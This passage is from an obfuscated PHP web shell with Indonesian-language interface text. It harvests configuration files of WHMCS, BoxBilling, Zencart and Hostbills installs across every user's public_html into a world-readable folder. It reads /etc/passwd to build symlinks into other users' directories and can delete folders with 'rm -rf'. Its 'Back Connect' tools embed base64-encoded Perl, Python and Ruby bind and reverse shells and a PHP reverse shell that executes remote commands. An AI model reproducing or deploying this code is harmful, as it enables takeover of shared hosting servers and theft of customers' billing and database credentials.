"/home/{$user_con}/public_html/BUY/sumitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Buy/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/buy/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/MANAGE/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Manage/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/manage/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/ClientSupport/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Clientsupport/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clientsupport/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CHECKOUT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Checkout/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/checkout/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BASKET/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Basket/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/basket/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SECURE/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Secure/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/secure/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/SALES/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Sales/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/sales/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILL/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Bill/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/bill/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/PURCHASE/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Purchase/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/purchase/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/ACCOUNT/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Account/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/account/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/USER/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/User/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/user/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/CLIENTS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Clients/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clients/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/Billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/billings/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/MY/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/My/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/my/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/secure/whm/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/secure/whmcs/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/panel/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/clientes/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/cliente/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/support/order/submitticket.php" => "WHMCS", "/home/{$user_con}/public_html/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/boxbilling/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/box/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/host/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/Host/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/supportes/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/support/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/hosting/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/cart/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/order/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/client/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/clients/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/cliente/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/clientes/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/billing/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/billings/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/my/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/secure/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/support/order/bb-config.php" => "BoxBilling", "/home/{$user_con}/public_html/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/zencart/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/products/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/cart/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/shop/includes/dist-configure.php" => "Zencart", "/home/{$user_con}/public_html/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/hostbills/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/host/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/Host/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/supportes/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/support/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/hosting/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/cart/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/order/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/client/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/clients/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/cliente/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/clientes/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/billing/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/billings/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/my/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/secure/includes/iso4217.php" => "Hostbills", "/home/{$user_con}/public_html/support/order/includes/iso4217.php" => "Hostbills"); foreach ($grab_config as $config => $nama_config) { $ambil_config = file_get_contents($config); if ($ambil_config == '') { } else { $file_config = fopen("indosec_config/{$user_con}-{$nama_config}.txt", "w"); fputs($file_config, $ambil_config); } } } } goto TbpyU; qn76W: mkdir("indosec_config", 0777); goto Iv9Cc; Iv9Cc: $isi_htc = "Options allnRequire NonenSatisfy Any"; goto rjGk8; rjGk8: $htc = fopen("indosec_config/.htaccess", "w"); goto nao8G; nugCa: $passwd = $_POST["passwd"]; goto qn76W; TbpyU: echo "<p class='text-center'>Success Get Config!!</p>\xd
\x9	<a href='?dir={$dir}/indosec_config' class='btn btn-success btn-block mb-4'>Click Here</a>"; goto OebPs; QkopM: preg_match_all("/(.*?):x:/", $passwd, $user_config); goto tBTEG; nao8G: fwrite($htc, $isi_htc); goto QkopM; OebPs: } else { echo "<form method='post'>
\x9	\x9<p class='text-danger'>/etc/passwd error ?  <a href='?dir={$dir}&aksi=passwbypass'>Bypass Here</a></p>
\xa			<textarea name='passwd' class='form-control' rows='13'>" . file_get_contents("/etc/passwd") . "</textarea><br/>\xd\xa		\x9<input type='submit' class='btn btn-danger btn-block' value='Get Config!!'>
\x9	</form>"; } exit; } goto CEE4C; cJZq9: function symBypass($dir, $file) { goto VFFiQ; waygV: if (isset($_GET["save"]) and isset($_POST["file"]) or @filesize("passwd.txt") > 0) { goto qoQUK; qoQUK: $cont = stripcslashes($_POST["file"]); goto TsPS9; TsPS9: if (!file_exists("passwd.txt")) { goto jmhkM; i7jiD: fclose($f); goto cUscH; jmhkM: $f = @fopen("passwd.txt", "w"); goto VAVOU; VAVOU: $w = @fwrite($f, $cont); goto i7jiD; cUscH: } goto NsggK; NsggK: if ($w or @filesize("passwd.txt") > 0) { goto JtGCV; sdmIZ: foreach ($fil3 as $f) { goto FI1gJ; YjZib: $user = $u["0"]; goto P6DYd; upT1i: flush(); goto z5zdt; P6DYd: echo "<tr>\xd\xa\x9		\x9	\x9<td class='text-left pl-1'>{$user}</td>
\x9\x9\x9\x9		<td><a href='{$full}/sym/root/home/{$user}/public_html' target='_blank'>Symlink </a></td>\xd\xa\x9			\x9\x9<td><a href='{$pageFTP}/sym/root/home/{$user}/public_html' target='_blank'>FTP</a></td>\xd\xa	\x9			</tr>"; goto zYUgO; zYUgO: flush(); goto upT1i; FI1gJ: $u = explode(":", $f); goto YjZib; z5zdt: } goto eiKBR; JtGCV: echo "<div class='tmp'>
\xa	\x9\x9<table width='100%' class='text-center table-responsive mb-4'>
	\x9	\x9<thead class='bg-info'>\xd\xa	\x9\x9	\x9<th>Users</th>
	\x9			<th>symlink</th>
\xa	\x9\x9\x9\x9<th>FTP</th>
\x9\x9\x9	</thead>"; goto es0zi; es0zi: flush(); goto xFxkq; eiKBR: echo "</tr></table></div>"; goto OMLek; OMLek: die; goto E9haP; xFxkq: $fil3 = file("passwd.txt"); goto sdmIZ; E9haP: } goto qBVqd; qBVqd: } goto fslQi; peSvj: flush(); goto bfqpg; uThZ0: $u = explode("/", $pageFTP); goto G2v3G; B4zfk: exit; goto Xs51z; G2v3G: $pageFTP = str_replace($u[count($u) - 1], '', $pageFTP); goto waygV; DCRtu: $r3ad = @fopen($file, "r"); goto Bytln; fslQi: echo "read /etc/passwd <font color='red'>error ?  </font><a href='?dir=" . $dir . "&aksi=passwbypass'>Bypass Here</a>\xd\xa	<form method='post' action='?dir={$dir}&aksi=sym_bypas&save=1'>
\x9	<textarea class='form-control' rows='13' name='file'>"; goto UP_ZR; bfqpg: echo "</textarea><br/>
\x9\x9<input type='submit' class='btn btn-danger btn-block' value='Symlink'/>\xd
\x9</form>"; goto IV72R; j08gL: $file = "/etc/passwd"; goto DCRtu; Bytln: if ($r3ad) { $content = @fread($r3ad, @filesize($file)); echo '' . htmlentities($content) . ''; } elseif (!$r3ad) { $r3ad = @show_source($file); } elseif (!$r3ad) { $r3ad = @highlight_file($file); } elseif (!$r3ad) { for ($uid = 0; $uid < 1000; $uid++) { $ara = posix_getpwuid($uid); if (!empty($ara)) { while (list($key, $val) = each($ara)) { print "{$val}:"; } print "\xa"; } } } goto peSvj; wk2PM: $pageFTP = "ftp://" . $_SERVER["SERVER_NAME"] . "/public_html/" . $_SERVER["REQUEST_URI"]; goto uThZ0; UP_ZR: flush(); goto j08gL; VFFiQ: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto wk2PM; IV72R: flush(); goto B4zfk; Xs51z: } goto ZPGPQ; R6uAn: function deleteFolder($dir, $ndir) { goto X4SNU; bEvdN: exit; goto BrdMD; KJrar: if ($_POST["ya"]) { if (is_dir($dir)) { if (is_writable($dir)) { goto FbZkR; YN2Vv: $swa = "success"; goto yEJg3; yEJg3: $text = "Berhasil Menghapus"; goto YztUu; YztUu: $dir = dirname($dir); goto fQFi9; VBzMw: @exe("rm -rf {$dir}"); goto ip82N; ip82N: @exe("rmdir /s /q {$dir}"); goto YN2Vv; FbZkR: @rmdir($dir); goto VBzMw; fQFi9: swall($swa, $text, $dir); goto Ppq5c; Ppq5c: } else { goto LyLDU; LyLDU: $swa = "error"; goto kjymN; kjymN: $text = "Berhasil Menghapus"; goto gklM9; gklM9: $dir = dirname($dir); goto CrxcZ; CrxcZ: swall($swa, $text, $dir); goto WmrCW; WmrCW: } } } goto bEvdN; X4SNU: echo "[ <a href='?dir=" . $dir . "&aksi=rename_folder'>Rename</a> ]  [ <a href='?dir=" . $dir . "&aksi=hapus_folder' class='active'>Delete</a> ] \xd\xa	<div class='card card-body text-center text-dark mb-4'>\xd
\x9	<p>Apakah Yakin Menghapus : {$ndir} ?</p>
\xa		<form method='POST'>\xd\xa\x9	\x9<a class='btn btn-danger btn-block' href='?dir=" . dirname($dir) . "'>Tidak</a>\xd
	\x9	<input type='submit' name='ya' class='btn btn-success btn-block' value='Ya'>\xd\xa\x9	</form>\xd\xa\x9</div><br/>"; goto KJrar; BrdMD: } goto sZUYH; ojXWH: $ds = @ini_get("disable_functions"); goto pk13s; ZPGPQ: function bcTool($dir, $file) { goto d2Dnb; GSRHx: exit; goto Qx_wV; d2Dnb: echo "<h4 class='text-center mb-4'>Back Connect Tools</h4>\xd\xa	<form method='post'>\xd
\x9\x9<div class='row'>
\xa\x9\x9\x9<div class='col-md-10'>
\xa	\x9		<span>Bind port to /bin/sh [Perl]</span><br/>\xd
\x9		\x9<label>Port :</label>
		\x9\x9<div class='form-group input-group mb-4'>\xd\xa\x9\x9\x9\x9\x9<input type='text' name='port' class='form-control' value='6969'>\xd\xa					<input type='submit' name='bpl' class='btn btn-danger form-control' value='Reserve'>\xd\xa				</div>\xd
\x9	\x9	<h5>Back-Connect</h5>\xd\xa		\x9	<label>Server :</label>\xd
	\x9\x9	<input type='text' name='server' class='form-control mb-3' placeholder='" . $_SERVER["REMOTE_ADDR"] . "'>
\xa\x9	\x9	<label>Port :</label>
\xa	\x9	\x9<div class='form-group input-group mb-4'>\xd
\x9		\x9\x9<input type='text' name='port' class='form-control' placeholder='443'>\xd\xa		\x9\x9\x9<select class='form-control' name='backconnect'>\xd
					\x9<option value='perl'>Perl</option>\xd
\x9\x9\x9	\x9\x9<option value='php'>PHP</option>
\xa\x9	\x9\x9\x9\x9<option value='python'>Python</option>\xd\xa		\x9\x9\x9	<option value='ruby'>Ruby</option>\xd\xa			\x9	</select>
				</div>
\xa\x9		\x9<input type='submit' class='btn btn-danger btn-block' value='Connect'>
\xa	\x9\x9</div>
\xa\x9\x9</div>\xd\xa\x9</form>"; goto r26J2; r26J2: if ($_POST["bpl"]) { goto DCA6N; n2sr4: sleep(1); goto qSF3i; DCA6N: $bp = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="); goto bPw0A; z7_iB: fwrite($brt, $bp); goto IDOhD; bPw0A: $brt = @fopen("bp.pl", "w"); goto z7_iB; F_Z0t: unlink("bp.pl"); goto LQeWT; qSF3i: echo "<pre class='text-light'>{$out}
" . exe("ps aux | grep bp.pl") . "</pre>"; goto F_Z0t; IDOhD: $out = exe("perl bp.pl " . $_POST["port"] . " 1>/dev/null 2>&1 &"); goto n2sr4; LQeWT: } goto ciSce; ciSce: if ($_POST["backconnect"] == "perl") { goto ugmVj; ugmVj: $bc = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"); goto Vi2Jw; GK0LO: fwrite($plbc, $bc); goto JpgOf; FpZRE: unlink("bc.pl"); goto hiRz8; Vi2Jw: $plbc = @fopen("bc.pl", "w"); goto GK0LO; JpgOf: $out = exe("perl bc.pl " . $_POST["server"] . " " . $_POST["port"] . " 1>/dev/null 2>&1 &"); goto pLN4f; x_XSh: echo "<pre class='text-light'>{$out}\xa" . exe("ps aux | grep bc.pl") . "</pre>"; goto FpZRE; pLN4f: sleep(1); goto x_XSh; hiRz8: } goto qfqDi; qfqDi: if ($_POST["backconnect"] == "python") { goto OEN9k; etW6k: sleep(1); goto g0JT8; mCDL9: $out1 = exe("python bcpyt.py " . $_POST["server"] . " " . $_POST["port"]); goto etW6k; wxJPj: unlink("bcpyt.py"); goto v58sz; mwzSf: $pbcaa = @fopen("bcpyt.py", "w"); goto bUrWv; g0JT8: echo "<pre class='text-light'>{$out1}\xa" . exe("ps aux | grep bcpyt.py") . "</pre>"; goto wxJPj; OEN9k: $becaa = base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk="); goto mwzSf; bUrWv: fwrite($pbcaa, $becaa); goto mCDL9; v58sz: } goto xEZou; xEZou: if ($_POST["backconnect"] == "ruby") { goto a_h3O; MjRwe: unlink("bcruby.rb"); goto c9T2W; Psbrc: $out2 = exe("ruby bcruby.rb " . $_POST["server"] . " " . $_POST["port"]); goto nRAYO; EkF89: fwrite($pbcaak, $becaak); goto Psbrc; a_h3O: $becaak = base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k"); goto hBsyz; nRAYO: sleep(1); goto ZlsOK; ZlsOK: echo "<pre class='text-light'>{$out2}\xa" . exe("ps aux | grep bcruby.rb") . "</pre>"; goto MjRwe; hBsyz: $pbcaak = @fopen("bcruby.rb", "w"); goto EkF89; c9T2W: } goto J_DFw; J_DFw: if ($_POST["backconnect"] == "php") { goto Tw9Yb; Gcemz: if ($errno != 0) { echo "<font color='red'>{$errno} : {$errstr}</font>"; } else { if (!$sockfd) { $result = "<p>Unexpected error has occured, connection may have failed.</p>"; } else { goto DDH8h; Se4Lw: fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\xa
"); goto gwt38; DDH8h: fputs($sockfd, "\xd\xa		\x9
{#######################################}\xd
\x9	\x9\xa..:: BackConnect PHP By Con7ext ::..\xd\xa	\x9	\xa{#######################################}
"); goto Ec470; xp3tA: $len = 1337; goto Se4Lw; cJoBA: @fclose($sockfd); goto wYd1e; gwt38: while (!feof($sockfd)) { $cmdPrompt = "[kuda]#:> "; @fputs($sockfd, $cmdPrompt); $command = fgets($sockfd, $len); @fputs($sockfd, "\xa" . @shell_exec($command) . "\xa
"); } goto cJoBA; Oq0nF: $time = @Shell_exec("time"); goto xp3tA; EkKpS: $sysinfo = @shell_exec("uname -a"); goto Oq0nF; Ec470: $dir = @shell_exec("pwd"); goto EkKpS; wYd1e: } } goto FYeTE; Tw9Yb: $ip = $_POST["server"]; goto EPDD8; efvND: $sockfd = fsockopen($ip, $port, $errno, $errstr); goto Gcemz; EPDD8: $port = $_POST["port"]; goto efvND; FYeTE: } goto GSRHx; Qx_wV: } goto VuWTN; nXepv: echo "<div id="tab"><table class="text-white mt-1 table-hover table-responsive">
\xa	\x9\x9\x9\x9<thead class="bg-info text-center">\xd
